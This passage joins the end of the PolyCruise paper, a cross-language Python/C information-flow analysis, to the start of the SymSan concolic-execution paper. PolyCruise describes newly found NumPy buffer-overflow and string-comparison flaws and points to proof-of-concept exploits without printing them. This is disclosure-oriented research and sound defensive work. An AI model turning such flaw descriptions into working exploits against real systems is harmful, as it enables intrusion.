by PyTorch, which was over 7.4GB hence may or may not be
acceptable on a modestly-configured computer. However, for
a system at this scale, the peak memory is still reasonable.

Recall that the inclusion of the SDA step in Phase 1 was
mainly justified by its efficiency merits in reducing the static/-
dynamic instrumentation scope. Now, to quantify these merits,
we computed another efficiency metric, instrumentation rate,
which is the percentage of code lines instrumented as guided
by symbolic dependencies (i.e., the SDA results). As shown in
Table 5, the SDA reduced the instrumentation by 57% in the
best case (Pygit2). Even in the worst case (Pyo), the reduction
was still substantial (38%). The main reason that the reduction
was not even greater was that we chose to be conservative
with the SDA to ensure the resulting symbolic dependencies
to be a safe approximation of the dynamic information flow
against any possible execution of the system under analysis.

Run-time slowdown and memory usage. Figure 8 com-
pares the run-time slowdown (for the ten executions) incurred
by POLYCRUISE as seen by the SDA- versus CMPL-version
of each of the 12 real-world benchmarks. The baseline costs
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Figure 8: Run-time slowdown (y axis) on the SDA-version
versus the CMPL-version of real-world benchmarks (x axis).

Figure 9: Peak memory usage (y axis) on the SDA-version
versus the CMPL-version of real-world benchmarks (x axis).

were from the pure-versions. The error bars indicate the stan-
dard errors associated with the means.

Compared to the pure-versions, the SDA-versions were
2.71x (for Pygit2) to 11.96x (for PyTorch) slower. From Ta-
ble 5 we saw that POLYCRUISE achieved a lower instrumenta-
tion rate on Pygit2 (43%) than it did on PyTorch (51%), which
partly explains the smaller slowdown factor POLYCRUISE
had with Pygit2 at runtime. Another reason lies in the com-
plexity of the executions. Indeed, the PyTorch executions
were much more computationally complex hence expensive
than the executions of other benchmarks like Pygit2. One
straightforward measure of this complexity for an execution
is the number of events in the execution. We found that 55 mil-
lion events were generated on average across the ten PyTorch
executions, significantly more than the numbers of events in
other benchmarks’ executions.

In terms of (peak) memory usage, as shown in Figure 9,
the overall online analysis in POLYCRUISE only used a small
amount of memory in absolute terms. For all system exe-
cutions except for those of the largest system PyTorch, the
memory use was no more than 30MB. Even in the worst case
(with PyTorch), the peak memory was 1GB, which is still
acceptable on modern computers.

On the other hand, both the run-time slowdown and peak
memory usage as seen by the SDA-versions were much
smaller than those seen by the CMPL-versions, as contrasted
in Figures 8 and 9. Specifically, the SDA improved the reduc-
tion of slowdown factor from 18.3% (in Japronto) to 66.2%
(in PyTorch), and reduced the memory usage by 16.2% (in

Table 6: Three types of new vulnerabilities discovered by
POLYCRUISE: Integer-overflow (IntOf), Buffer-overflow (Bu-
fOf), and Incomplete-comparison (InCc).

Benchmark #IntOf #BufOf #InCc #Fixed #Confirmed #Pending #CVEs
Bounter 0 1 0 1 0 0 1
Immutables 0 1 0 0 0 1 0
Japronto 0 1 0 0 0 1 0
Cvxopt 0 0 4 4 0 0 1
Pyo 0 2 0 2 0 0 2
NumPy 1 3 1 1 3 1 4
Summary 1 8 5 8 3 3 8

Japronto) to 67.1% (in Cvxopt), compared to whole-system
instrumentation with any scope reduction.

POLYCRUISE took mostly a few seconds (and 3 mins at
worst) for its static analyses, while its online dynamic anal-
ysis incurred 2.71∼11.96x slowdown and used a moderate
amount of memory. The static analyses helped improve the
efficiency of the dynamic analysis significantly.

6.5 RQ3: Vulnerability Discovery
From the subject executions considered in RQ1 through RQ3,
POLYCRUISE identified 14 new vulnerabilities related to five
of the real-world benchmarks, as listed in Table 6. We filed
issues for these findings on corresponding GitHub reposito-
ries. At the time of writing, the respective developers have
confirmed 11 and fixed 8 of them. We illustrate with one of
the fixed cases and one of the other confirmed cases.
Case 1: Buffer overflow. In the integration-test execution of
NumPy, this fixed case is a risk point of buffer overflow, as
depicted in Figure 10. The user input is the shape of an array,
which can be arbitrary. This input is taken from a file as the
source then passed through the API numpy.zero. Python in-
terpreter wraps the data as a PyObject and takes it as an argu-
ment to the C function array_zeros. The function decodes
the arguments, gets the value of shape, and passes dimension
(shape.len) to another function PyArray_Zeros as argument
nd. Eventually in the function PyArray_NewFromDescr_int,
the variable nd is used in memcpy to specify the number of
bytes to copy. Since the target newstrides is a fixed-size stack
buffer, buffer overflow will happen when the shape length
propagated from Python is larger than expected here.
Case 2: Incomplete string comparison. During a NumPy
integration-test execution, a vulnerability of incomplete string
comparison was found as depicted in Figure 11. At the source,
the user input was read into the variable Shape and Type in
the Python function test_functionality, passed through
the NumPy API numpy.empty, and flowed forward into the
C function array_empty where the dtype object is passed
into PyArray_DescrConverter for parsing. As the object
propagated into _convert_from_str, the type description is
extracted and used as the first argument in strncmp. Since
the terminator of the string is not considered, the comparison
result may not be the same as expected. More seriously, it can
be exploited to cause the API to change its control flow (i.e.,
causing it to deny services by “goto fail").
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Figure 10: New vulnerability case 1: risk of buffer-overflow.

Table 7: POLYCRUISE vs PyPredictor: POLYCRUISE can find
the same defects (type errors) for Python programs. Sizes are
in KLoC; T/M denotes Time (seconds)/Memory (MB).

Benchmark Size Issue# POLYCRUISE PyPredictor
Identify T/M Identify T/M

request [64] 42.7

2638 X 1.2/15.1 X 41.6/20.3
2639 X 1.3/14.9 X 35.1/19.5
2267 X 0.6/14.8 X 13.2/15.1
2613 X 0.8/14.8 X 28.4/21.7

fabric [17] 4.3
1303 X 0.6/11.6 X 1.4/6.1
1906 X 0.7/11.6 X 1.1/4.9
1191 X 0.7/11.6 X 2.5/6.5

salt [65] 70.9 24820 X 2.3/18.3 X 83.6/33.3
25006 X 2.4/18.5 X 89.8/33.5

web2py [68] 93.1 968 X 0.8/12.1 X 4.2/10.3

Exploitability. To demonstrate that the vulnerabilities discov-
ered by POLYCRUISE are exploitable, we have developed a
proof-of-the-concept (PoC) exploit for each of the (11) vulner-
abilities that have been confirmed by developers so far, found
here. For each PoC, a script that triggers the vulnerability and
the corresponding run-time output are provided.

POLYCRUISE discovered 14 new vulnerabilities in six real-
world multilingual systems, with 11 confirmed and 8 fixed;
all of these were cross-language vulnerabilites.

6.6 RQ4: Comparison with peer tools
Comparison with PyPredictor. We compared our fixed ver-
sion of PyPredictor with POLYCRUISE against four popular
Python benchmarks (with 10 type error defects as ground
truth) used in the original evaluation of PyPredictor, in
terms of efficiency and effectiveness. As shown in Table 7,

Figure 11: New vulnerability case 2: incomplete comparison.

POLYCRUISE detected all the 10 bugs as the fixed PyPredic-
tor did. In terms of efficiency, PyPredictor took significantly
more time and memory in most cases due to the symbolic
execution. For the benchmark fabric [17], POLYCRUISE al-
located more memory as it created a fixed-size event queue
during initialization, although only a tiny portion of the allo-
cated space was actually used.
Comparison with libdft. We carefully selected four widely
used C programs as the benchmarks in the comparison as
shown in Table 8. In all four of these programs, there are
defects that have been reported as CVEs, which are regarded
as ground truth to compare these two tools. In terms of effec-
tiveness, POLYCRUISE succeeded in identifying all known
vulnerabilities when corresponding source/sink pairs are
configured. For instance, the reason for CVE-2016-1541 in
libarchive is that an external value (defined in the archive
file) reaches memcpy as a buffer size indicator, and no bound-
ary check exists along the data flow path; hence we configured
source/sink pair as (fead, memcpy) and succeeded in detect-
ing this vulnerability. In terms of efficiency, the slowdown
of libdft was 4 to 13 times that of POLYCRUISE while using
10 times more memory by average. The main reason is that
libdft needs to track taint information for most instructions;
this design incurs a significant runtime overhead due to the
corresponding API calls (i.e., predefined propagation rules).

While mainly targeting cross-language DIFA, POLYCRUISE
also outperformed (in cost-effectiveness) state-of-the-art
peer tools for single-language analysis on C and Python.
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Table 8: POLYCRUISE vs libdft: POLYCRUISE can find the same vulnerabilities and be more efficient for C programs.

Benchmark Size (KLoC) Type CVE ID POLYCRUISE libdft
Identify SD-factor Memory (MB) Identify SD-factor Memory (MB)

openjpeg-2.1.2 [50] 168.8 Division-by-zero CVE-2016-9112 X 3.5 21.4 X 40.3 580.6
libarchive-3.2.2 [39] 233.2 Buffer overflow CVE-2016-1541 X 4.3 33.6 X 17.9 375.2
curl-7.50.1 [13] 127.9 Integer overflow CVE-2016-8620 X 3.1 25.9 X 65.7 51.8
libtiff-4.0.7 [41] 127.1 Integer overflow CVE-2016-10093 X 2.7 13.6 X 11.3 55.3

6.7 Regarding the Vulnerabilities Discovered
The previously known vulnerabilities discovered by
POLYCRUISE have been documented in detail on respective
CVE pages as listed in Table 8. The documentation describes
how the vulnerabilities were disclosed and addressed. Re-
garding each of the 14 new vulnerabilities discovered by
POLYCRUISE, we have contacted the respective developers.
By the time of this paper submission, all of these have been re-
ported to the system vendors, although some of them have not
been confirmed yet, possibly because the developers have not
been active recently. Others have all been confirmed, among
which three have been fixed. The details on each of these 14
vulnerabilities are documented in our artifact package here.

6.8 Effort for Vulnerability Confirmation
Based on our current implementation, additional analysis/-
effort is expected in order to confirm whether a dynamic
information flow path reported by POLYCRUISE actually rep-
resents a true, non-trivial vulnerability.

One reason for requiring such effort is that no sanitization is
currently implemented in the vulnerability detection plugins
(i.e., security application modules). As a result, false alarms
may arise. For example, a reported data flow path between a
source/sink pair may be a false alarm when a boundary check
exists on the control flow from the source to the sink.

Another reason is that a reported path may not be concern-
ing to the user because the source is not sensitive or the sink
is not critical in particular use scenarios. For instance, a data
flow path from a source to a sink indicates a possible sensi-
tive data leakage; however, the data retrieved at the source
may not be sensitive to the user in the specific application
scenario. Such security context factors usually vary across dif-
ferent application scenarios, making it hard for POLYCRUISE
to discern whether the source is actually sensitive or the sink
actually critical. Thus, post-DIFA analysis and confirmation
is generally a necessary additional step.

7 Related Work

Language-independent technique. ORBS [5] claimed sup-
port for analyzing multilingual programs without extra efforts.
It computes a program slice through repeated action called
“delete-execute-observe” on the target system until no more
lines can be deleted. Although the language-independent fea-
ture is appealing, serious scalability issues prevent its appli-
cation in real-world programs; even its improved version [32]
can not scale well yet.

Semantic summarization. Debuting for heap analysis in
C/C++ programs [15], semantic summarization is being ap-
plied to static cross-language analysis with a formally defined
syntax [34, 69]. Unfortunately, the summarization causes pro-
found information loss, leading to low recall. Moreover, com-
plex language semantics is a barrier to the expansion and
application of such techniques.

Unified intermediate representation. For multilingual pro-
gram analysis, pyLang [43] compiles Python programs into
LLVM IR; JLang [74] also succeeds in translating Java code
into LLVM IR. Arzt et al. [3] translated the common inter-
mediate language of the Microsoft .net framework into Jim-
ple. Lopes et al. [42] constructed code property graphs from
WebAssembly code to detect vulnerabilities in it. With the
support of LLVM, several languages (e.g., C/C++/Rust [42],
JavaScript/TypeScript [63]) were compiled into WebAssem-
bly, which then enabled analyses across components of those
languages. However, much engineering work is required to
develop and maintain the compiler for each language, and
many of the prior frameworks have been shown impractical
in our empirical studies due to complex language features.

Dynamic techniques based on virtual machine. Truf-
fle [29] proposed a multi-language dynamic taint analysis
framework supporting the languages JavaScript, Python, and
C/C++ on top of a polyglot virtual machine (GraalVM). How-
ever, three significant issues limit its practicability: (1) imple-
menting a runtime component for each specific language is
laborious and error-prone work. (2) the AST-based runtime
environment can lead to different program behaviors as in a
real environment. (3) efficiency is a severe challenge to this
virtual machine-based technique. DroidScope [73] analyzes
Android malware across Java and native code, which however
relies on runtime customization (via virtualization).

Techniques targeting specific language combinations.
Several prior works [1, 36, 67] addressed defects between
Java and C components, while [4,8,33] focused on bug detec-
tion between Java and JavaScript. Brown et al. [7] proposed
to detect vulnerabilities in JavaScript binding code (in C/C++)
via static analysis, while Favocado [16] achieved that detec-
tion via fuzzing. In [35], symbolic execution across PHP code
and its built-in C functions was realized by converting the
execution results of the PHP code into C code.

In contrast, our approach is significantly different. (1) We
proposed SDA, a language-independent approach that is effec-
tive and efficient for large-scale programs and helps greatly
reduce the runtime slowdown. (2) Our technique uses mini-

USENIX Association 31st USENIX Security Symposium    2527

https://github.com/AngoraFuzzer/libdft64
https://github.com/AngoraFuzzer/libdft64
https://bitbucket.org/wsucailab/polycruise/src/master/Experiments/PoC/


mal language-specific analysis hence should be transferable
to support new language combinations. (3) Our technique pro-
vides the first practical DIFA across Python and C languages.

8 Conclusion

We presented POLYCRUISE, a novel dynamic information
flow analysis (DIFA) for multilingual systems. Unlike prior
approaches, POLYCRUISE utilizes an efficient and effective
static analysis algorithm—language-independent symbolic
dependence analysis to guide instrumentation hence enabling
language-agnostic DIFA. Moreover, POLYCRUISE takes ad-
vantage of existing single-language analysis techniques and
minimizes the language-specific engineering work. At run-
time, POLYCRUISE adopts online and incremental analysis.
It constructs the whole-program dynamic information flow
graph based on which applications can be developed for vul-
nerability detection and beyond. We empirically demonstrated
POLYCRUISE’s efficiency with practical effectiveness against
micro benchmarks and 12 real-world multilingual systems.
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A More on POLYCRUISE Implementation

We implemented the DIFA engine for POLYCRUISE in C, con-
sisting of five components: event decoder, memory database,
dynamic information flow analyzer, and plugin support.
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Following the event definition in §3.3.1, the decoder parses
the events as a character stream to obtain definition-use pairs
and event type for each event and associated statement.

The memory database is implemented to empower low-
overhead online DIFA. Its high efficiency is achieved by
two strategies: (1) lightweight implementation—we only im-
plemented the necessary functionalities (e.g., memory pool,
hash, data management, and data add/query/delete); (2) high
memory utilization—for an average data size of 64bytes, the
database can hold 10+ million pieces with 1GB memory; and
(3) scalable memory pool—we used a scalable memory pool
to avoid frequent memory allocations and releases.

The online dynamic information flow analyzer is im-
plemented on top of the memory database while working
incrementally—each execution event triggers an updating
pass of DIFG. For the implementation of Algorithm 5, we
overcame two major challenges, with the thread graph and
due to language boundary, respectively.

To handle the large volume of events generated during
multi-threaded executions, we implemented DIFG as a set of
thread-level information flow graphs, such that (1) the events
within a thread can be analyzed sequentially and (2) the DI-
FAE can compute intra- and interprocedural data dependen-
cies in a specific thread graph upon receiving an event. To
compute interthread data flow, we maintained a global cache
shared by all thread graphs—for each memory write, the DI-
FAE updates the cache to keep the location of the latest write
to the memory address, while for memory read the DIFAE
obtains the location of the address’s latest write and inserts a
data flow edge from the write to the read. This heavy global
search hurts the DIFAE’s efficiency. To avoid this kind of
excessive searching, we adopt a local-first strategy: when a
local dependence is found, it will abandon the global search.

The other challenge is induced by language interoperations.
The SDA ensures the static/dynamic instrumentation to cover
all possible data flow paths across language boundaries. How-
ever, different data encapsulation and conversion between
languages become barriers for dynamic data dependence com-
putation during runtime. For instance, a process of converting
parameters from Python to C through C extension is {Python
type→ Pyobject→ C type} [59], while parameters flow from
Java to C through Java native invocation is in the form of
{Java type→ jobject→ C type} [51]. Instead of modeling all
interface APIs at language boundaries to guide how to relate
parameters together in different language components, we
adopted a field-insensitive approach for parameter passing in
foreign function invocations.

To illustrate, consider the example of Figure 12. Line 4 of
the Python unit is defined as a criterion (source). Variable
V1 flows along edge 1 to the callsite at line 6 and contin-
ues flowing along edge 2 into a PyObject args encoded from
V1 and V2. Without knowing how to decode args (language-
dependently), we conservatively add two data flow edges {3,
6} from the definition site of args to line 4 of the Python-C

1 from PyAdd import *
2    
3 def main ():
4    V1 = 1 // source
5    V2 = 1
6    Da = PyAdd (V1, v2)

7      ……

PyAdd(PyObject *self,  PyObject *args){
    int  V3;
    int  V4;
    PyArg_ParseTuple(args, "ii", &V3, &V4);
                                                 
                                                 Cadd (V3, V4);

    ……;}

int  CAdd(int V5, int V6) {  
       V = V5 + V6;
        return V
}

7
Python Python-C extension C

Figure 12: An example illustrating our field-insensitive ap-
proach to parameter passing in the DIFA of POLYCRUISE.

extension; edge 3 represents V1 flows into V3 while edge 6
indicates V1 flowing into V4 (which is a spurious data flow).
Although this conservative computation causes imprecision,
it ensures soundness and language independence hence the ex-
tensibility of our framework to support additional languages.

The DIFAE provides a set of interfaces for flexible ap-
plication plugin development in C. Specifically, a user of
POLYCRUISE can quickly implement a specific vulnerability
detection plugin with about 100 lines of C code. Then, the
user can easily integrate the plugin into our framework by
specifying the location and entry point of, as well as the lists
of sources/sinks relevant to, the plugin.

B Run-Time Slowdown Computation
Typically, we would compute the run-time slowdown of our
dynamic analysis against a benchmark by dividing the ob-
served/recorded execution time (TSDA) of the SDA-version
of the benchmark by the observed/recorded execution time
(Tpure) of the pure-version (§6.2). However, in the course of
our efficiency evaluation, we noticed that the Python inter-
preter has a nearly constant-time overhead in each execution
at its initialization stage. The major reason is that the cus-
tomized test frameworks (i.e., pytest and unittest) bring
apparent side-effects. The test frameworks need to initialize
the whole test set at each start and then execute the specified
case. The initialization even took longer than the pure test
case execution time. Moreover, as the test set grew, the extra
overhead became even greater. However, in the expected use
scenario of POLYCRUISE, the user would manually run it on
a subject system against individual executions/tests, rather
than having to automatically run an entire test set using the
test framework. We used the test frameworks only to facilitate
our evaluation experiments. Therefore, to accurately compute
the slowdown (i.e., with respect to net execution times), we
should leave out the initialization times ISDA and Ipure from
the observed ones. That is, the slowdown factor should be
computed as (TSDA− ISDA)/(Tpure− Ipure).

To obtain the initialization time costs, we took a simple
approximation approach by considering that the shortest ob-
served test execution mainly consists of the initialization stage
only. Accordingly, for a given benchmark, we took the ob-
served execution time of its fastest-running test as the initial-
ization time cost in computing the slowdown factor for that
benchmark (using the formula above).
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Abstract
Concolic execution is a powerful program analysis technique
for systematically exploring execution paths. Compared to
random-mutation-based fuzzing, concolic execution is espe-
cially good at exploring paths that are guarded by complex
and tight branch predicates. The drawback, however, is that
concolic execution engines are much slower than native ex-
ecution. While recent advances in concolic execution have
significantly reduced its performance overhead, our analy-
sis shows that state-of-the-art concolic executors overlook
the overhead for managing symbolic expressions. Based on
the observation that concolic execution can be modeled as a
special form of dynamic data-flow analysis, we propose to
leverage existing highly-optimized data-flow analysis frame-
works to implement concolic executors. To validate this idea,
we implemented a prototype SYMSAN based on the data-flow
sanitizer of LLVM and evaluated it against the state-of-the-art
concolic executors SymCC and SymQEMU with three sets
of programs: nbench, the DARPA Cyber Grand Challenge
dataset, and real-world applications from Google’s Fuzzbench
and binutils. The results showed that SYMSAN has a much
lower overhead for managing symbolic expressions. The re-
duced overhead can also lead to faster concolic execution and
improved code coverage.

1 Introduction

Concolic execution [8–12, 16, 21, 22, 36, 37, 41, 48] is a pow-
erful program testing tool that can explore code paths effec-
tively without blindly testing inputs that redundantly execute
the same code path. For this reason, it has been widely used in
finding security vulnerabilities. However, a critical limitation
of concolic execution is its scalability. Yun et al. [48] reported
that KLEE [9] is around 3,000 times slower than native ex-
ecution, and angr [44] is more than 321,000 times slower.
With respect to memory efficiency, we observed that state-of-
the-art concolic executors like QSYM [48] and SymCC [36]
introduced three orders of magnitude memory consumption
blown up.

To understand the key bottlenecks in concolic execution, let
us quickly review how a concolic executor works. A concolic
executor (CE) maintains two core data structures: a symbolic
state σ : v → symv and a set of path constraint PC along the
execution path. The symbolic state σ maps each program
variable v to its corresponding symbolic expression symv.
Conceptually, a symbolic expression can be considered as
an abstract syntax tree (AST). Consider a simple statement
d= a⊕b, where ⊕ is an arbitrary binary operator. To update
the symbolic state σ, the CE performs the following four
operations:

• Parsing the instruction d = a⊕b to extract its operands
and operator.

• Locating the symbolic expressions syma and symb based
on a→ syma and b → symb.

• Creating a new expression of symd that has syma and symb
as child nodes and ⊕ as the operator.

• Updating σ with the mapping d→ symd.

One major source of performance overhead for concolic
execution is to parse instructions and extract their semantic
information. CEs like KLEE [9] and angr [44] interpret each
instruction during runtime. As interpretation is usually slower
than concrete execution, their performance overhead is ex-
tremely high. Recent CEs like QSYM [48], SymCC [36], and
SymQEMU [37] replace interpretation with instrumentation
(i.e., the parsing is only performed once, either at compile-
time, or during instruction translation), thus they are able to
significantly reduce the overhead.

Despite these recent successes, the locating, creating,
and updating of symbolic expressions still incur significant
overhead. For instance, we profiled the state-of-the-art CE
SymCC [36] on the program objdump and found that at least
65% of its execution time is spent on maintaining allocated
AST nodes of symbolic expressions. In addition, the lookup
data structure of SymCC, which maintains the mapping be-
tween variables and their corresponding symbolic expres-
sions, consumes a 98MB memory footprint when executing
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one objdump instance, whereas native execution consumes
only several KBs.

In this work, we aim to further improve concolic execu-
tion’s scalability by reducing the overhead for maintaining
the symbolic state σ. Our key observation is that the concolic
execution can be modeled as a special form of dynamic data-
flow analysis [40]. Therefore, we can significantly reduce
the performance and memory overhead for maintaining the
symbolic state by leveraging a mature and highly-optimized
dynamic data-flow analysis framework.

To verify our hypothesis, we have implemented a con-
colic executor SYMSAN based on LLVM’s data-flow sani-
tizer (DFSAN). We evaluated SYMSAN with a variety set
of programs, including standard benchmarks (Linux/Unix
nbench [32]), DARPA Cyber Grand Challenge (CGC) dataset,
Google’ Fuzzbench [23] test suite, and 4 real-world ap-
plications (outside Fuzzbench). The evaluation results
showed that compared to state-of-the-art CEs SymCC [36]
and SymQEMU [37], SYMSAN achieved 62.0× perfor-
mance speedup and 6.5× memory footprint reduction. For
end-to-end fuzzing, SYMSAN also outperformed SymCC
and SymQEMU. In the Google’s Fuzzbench benchmark,
SYMSAN is 1st by average score and 3rd by average rank.
In comparison, SymCC is 6th by average score and 5th by
average rank, while SymQEMU is 4th by average and 2nd by
average rank.

In summary, this paper makes the following contributions:
• New design: we proposed a novel approach to perform con-

colic execution atop of dynamic data-flow analysis frame-
work and achieved significant performance improvement
against state-of-the art concolic execution tools.

• Open-source: we open-sourced our prototype implementa-
tion SYMSAN1.

• Evaluation: we conducted a comprehensive evaluation to
understand the advantages and limitations of our approach.

2 Background and Motivations

In this section, we provide a short review of symbolic/concolic
execution, data-flow sanitizer, and our motivations.

2.1 Symbolic Execution

Symbolic execution treats program inputs as symbolic val-
ues instead of concrete values. Program variables (including
memory and register content) are represented as symbolic
expressions, i.e., functions of symbolic inputs. Symbolic exe-
cution is a powerful software testing tool because it can cover
an execution path using a symbolic input instead of multiple
concrete ones.

1Our tool is already open-sourced under a different name. SYMSAN is
chosen for anonymization.

A symbolic execution engine maintains (i) a symbolic
state σ, which maps program variables to their symbolic
expressions, and (ii) a set of path constraints PC, which is
a quantifier-free first-order formula over symbolic expres-
sions [11].

The path constraint PC is empty initially. Whenever a con-
ditional statement is encountered, if its predicate is symbolic,
the symbolic executor constructs a boolean formula ε (i.e.,
ε = true for the if then branch or ε = false for the else
branch). The symbolic executor can then check the feasibility
of each branch direction by consulting a satisfiability mod-
ulo theories (SMT) (i.e., whether PC ∧ ε and PC ∧¬ε are
satisfiable). For each feasible direction, the symbolic execu-
tor updates its path constraint PC by adding the constraint
(ε = true or ε = false) according to the branch direction.

To generate a concrete input that would allow the program
to follow the same execution trace, the symbolic execution
engine uses PC to query an SMT solver for satisfiability and
feasible assignments to symbolic values (i.e., input).
Concolic Execution. One disadvantage of classical sym-
bolic execution is that it cannot explore an execution path
where a constraint solver cannot solve its path constraints
PC(e.g., when the constraints contain uninterpreted functions
or are too complex). To circumvent the issue, researchers
proposed concolic execution (a.k.a. dynamic symbolic exe-
cution) where symbolic execution is combined with concrete
execution. In concolic execution, (i) each variable has two
states, one with concrete input and the other with symbolic
input, and (ii) the execution path is dictated by the concrete in-
put (i.e., the execution path that is always feasible, regardless
of the feasibility of the path constraints). To explore execution
paths that deviate from the current concrete path, CE checks
the feasibility of the branch target opposite to the concrete
direction; if feasible, it generates a corresponding input.
Scalability Issues and Recent Advances. The advantage of
symbolic execution over random mutation/generation is the
ability to handle complex branch conditions more efficiently
(i.e., to find an input that can visit the opposite direction
of a branch, solving the corresponding path constraints are
faster than fuzzing). The drawback, however, is the lack of
scalability. There are three main performance bottlenecks:
constraint solving, instruction interpretation, and symbolic
state management.

Recently, a line of research work aims to improve the perfor-
mance of the instruction interpretation. For example, Yun et
al. [48] observed that KLEE is around 3,000 times slower
and angr is more than 321,000 times slower than native ex-
ecution when testing md5sum, chksum, and sha1sum. They
pointed out the slowdown of KLEE and angr is due to their
adoption of IR and symbolic emulation, so they proposed a
dynamic-instrumentation-based approach directly atop binary
instructions.

Based on the observation that collecting symbolic con-
straints at IR-level is simpler than collecting at the instruction-
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level [35], Poeplau and Francillon proposed using IR-level
instrumentation to (i) avoid symbolic emulation of instruc-
tions and (ii) retain the simplicity of symbolic constraints [36].
As a result, their tool SymCC performs significantly faster
than both IR-less QSYM [48] and IR-based KLEE [9].

2.2 Dynamic Data-flow Analysis
The dynamic data-flow analysis aims to track the information
flow between sources and sinks. Conceptually, a dynamic data-
flow analysis framework associates each program variable
with a label representing how its value depends on the source.
As formalized in [40], a dynamic data-flow analysis is defined
by a policy, which describes:
• Label Introduction: these rules define how labels are in-

troduced into the system.

• Label Propagation: these rules define how variables’ la-
bels are updated after the execution of an instruction.

• Label Checking: these rules define at sinks, what opera-
tions to perform.

Dynamic Taint Analysis. When the label is binary (e.g.,
the label can only be tainted or untainted), we also call such
analysis as dynamic taint analysis (DTA). Because the label
is binary, the propagation rules are relatively simple. They
can be expressed using propositional logic (e.g., if any of
the source operands are tainted, the destination operand is
tainted). In DTA, we are mainly concerned about how the
execution of a program is affected by taint sources. Two typ-
ical applications of DTA are: (i) we mark untrusted inputs
controllable by attackers as tainted and check if attackers can
control critical data (e.g., the program counter); and (ii) we
mark privacy-sensitive data as tainted and check if it will
be leaked through the network. As DTA is an instrumental
analysis for security applications, many tools have been im-
plemented, which have significantly reduced the cost of the
analysis [7, 18, 19, 27, 38].

Forward Symbolic Execution. Forward symbolic execution,
as we described in §2.1, can also be modeled as a special form
of dynamic data-flow analysis [40]. In concolic execution,
labels represent the symbolic expressions of variables. The
label source is test input, e.g.when the program uses the read
system call to read the test input file, we mark input bytes as
symbolic. The propagation rules define how new symbolic
expressions are constructed based on the semantic of each
instruction. The label sinks are conditional branches, where
we perform two operations (i) update the path constraints and
(ii) generate inputs that can visit the opposite branch target.

Data-flow Sanitizer. The data-flow sanitizer (DFSAN) from
the LLVM project [46] is a mature and highly-optimized
data-flow analysis framework. It performs (LLVM) IR-level
instrumentation to insert data-flow tracking logic. Unlike DTA
tools optimized to handle binary labels (tainted vs. untainted),

DFSAN is designed to track how individual input bytes would
affect variables. In other words, a label represents a subset
of input bytes affecting the corresponding variable. DFSAN
performs set union (∪) instead of using propositional logic
(∨) during label propagation.

DFSAN optimizes its performance in several ways. First,
it uses the shadow memory implementation from the Ad-
dress Sanitizer [42] to allow constant-time access to labels
corresponding to variables stored in memory. Second, it can
introduce shadow variables to store labels corresponding to lo-
cal variables as DFSAN uses IR-level instrumentation. Third,
it performs IR-level optimizations to reduce the access to
shadow memory. Finally, it uses an optimized data structure
called union table to (i) allow fast label access and (ii) reduce
the footprint by deduplicating redundant labels (i.e., labels
represent the same subset of input bytes).

Besides performance optimizations, DFSAN also provides
an interface to implement custom propagation rules for exter-
nal libraries such as the standard C library.

2.3 Motivation

Despite recent improvements in symbolic execution, the state-
of-the-art symbolic executors still impose a significant perfor-
mance and memory overhead compared to native execution.
For example, we tested 24 real-world applications with in-
puts obtained from 24-hour fuzzing and found that SymCC
introduces 8.5x to 32,220x overhead and SymQEMU intro-
duces 226.9x to 39,658.8x overhead than native execution,
respectively.

To understand the source of the overhead, we profiled the
performance of SymCC and SymQEMU. The result revealed
a bottleneck previously overlooked by the existing tools: the
maintenance of the symbolic state σ, including representation,
storage, and retrieval of symbolic expressions. Concretely, the
existing designs (e.g., the runtime from QSYM [48]) repre-
sent a symbolic expression as an on-demand allocated mem-
ory object and store those objects in hash map alike data
structures. The memory objects are keyed by the variable’s
address in the application’s address space. To ease memory
management, some tools adopt smart pointers. As a result, the
allocation, store, and retrieval of symbolic expressions intro-
duce non-negligible overhead. Since those operations are the
most frequent ones during symbolic execution, their overhead
dominates the overall performance of symbolic execution.

In this work, we aim to solve these bottlenecks. Our key
observations are (i) forward symbolic execution is a type of
dynamic data-flow analysis and (ii) existing dynamic data-
flow tools have already spent decades of effort to optimize
the allocation, store, and retrieval of labels. Therefore, we
can significantly reduce the overhead for maintaining the
symbolic state by building a symbolic execution engine on top
of a highly-optimized dynamic data-flow analysis framework.
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Figure 1: The overall design of SYMSAN

1 ; bool example(int *a, int b) {
2 ; return (*a) * b > 100;
3 ; }
4 define i1 @example(i32* %0, i32 %1) {
5 %3 = load i32, i32* %0
6 %4 = mul nsw i32 %3, %1
7 %5 = icmp sgt i32 %4, 100
8 ret i1 %5
9 }

10

11 define i1 @"dfs$example"(i32* %0, i32 %1) {
12 ; load taint labels for the arguments
13 %3 =load i32,getelementptr(@__dfsan_arg_tls, 0) ; arg0
14 %4 =load i32,getelementptr(@__dfsan_arg_tls, 1) ; arg1
15 ; load taint label from shadow memory
16 %5 = ptrtoint i32* %0 to i64 ; get shadow_addr(%0)
17 %6 = and i64 %5, -123145302310913
18 %7 = mul i64 %6, 4
19 %8 = inttoptr i64 %7 to i32*
20 %9 = call i32 @__taint_union_load(i32* %8, i64 4)
21 ; load concrete value
22 %10 = load i32, i32* %0
23 ; concrete execution
24 %11 = mul nsw i32 %10, %1
25 ; create a new label to represent (*a) * b
26 %12 = zext i32 %11 to i64 ; extend
27 %13 = zext i32 %1 to i64
28 %14 = call i32 @__taint_union(
29 i32 %9, i32 %4, ; symbolic operands
30 i16 MUL, ; operator
31 i8 32, ; operand size in bits
32 i64 %12, i64 %13 ; concrete operands
33 )
34 ; concrete execution
35 %15 = icmp sgt i32 %11, 100
36 ; create a new label to represent (*a) * b > 100
37 %16 = zext i32 %15 to i64
38 %17 = call i32 @__taint_union(
39 i32 %14, ; symbolic left operand
40 i32 0, ; zero label for concrete right operand
41 i16 ICMP_LARGER_THAN, ; operator
42 i8 32, ; operand size
43 i64 %15, i64 100 ; concrete operands
44 )
45 ; store the label of the return value
46 store i32 %17, @__dfsan_retval_tls
47 ret i1 %15
48 }

Figure 2: A running example illustrating how SYMSAN instrument
the target program. Line 1 - 3 shows the source code. Line 4 - 9
shows the uninstrumented LLVM IR compiled from the source code.
Line 11 - 48 shows the instrumented LLVM IR.

3 SYMSAN

In this section, we present the design and implementation
details of SYMSAN.

Insight. Our design goal is to improve the time and space
efficiency of the concolic execution. To achieve the goal, we
leverage an important insight: the concolic execution can be
viewed as a special form of dynamic data flow analysis. This
observation enables us to build our concolic tool by extending
the existing highly-optimized data-flow sanitizer framework.
Our design removes two primary bottlenecks in the existing
concolic execution tools brought by the management of the
symbolic state.

3.1 Overview

Similar to existing instrumentation-based concolic executors
like SymCC [36], SYMSAN performs compile-time instru-
mentation to insert the logic for introducing, propagating, and
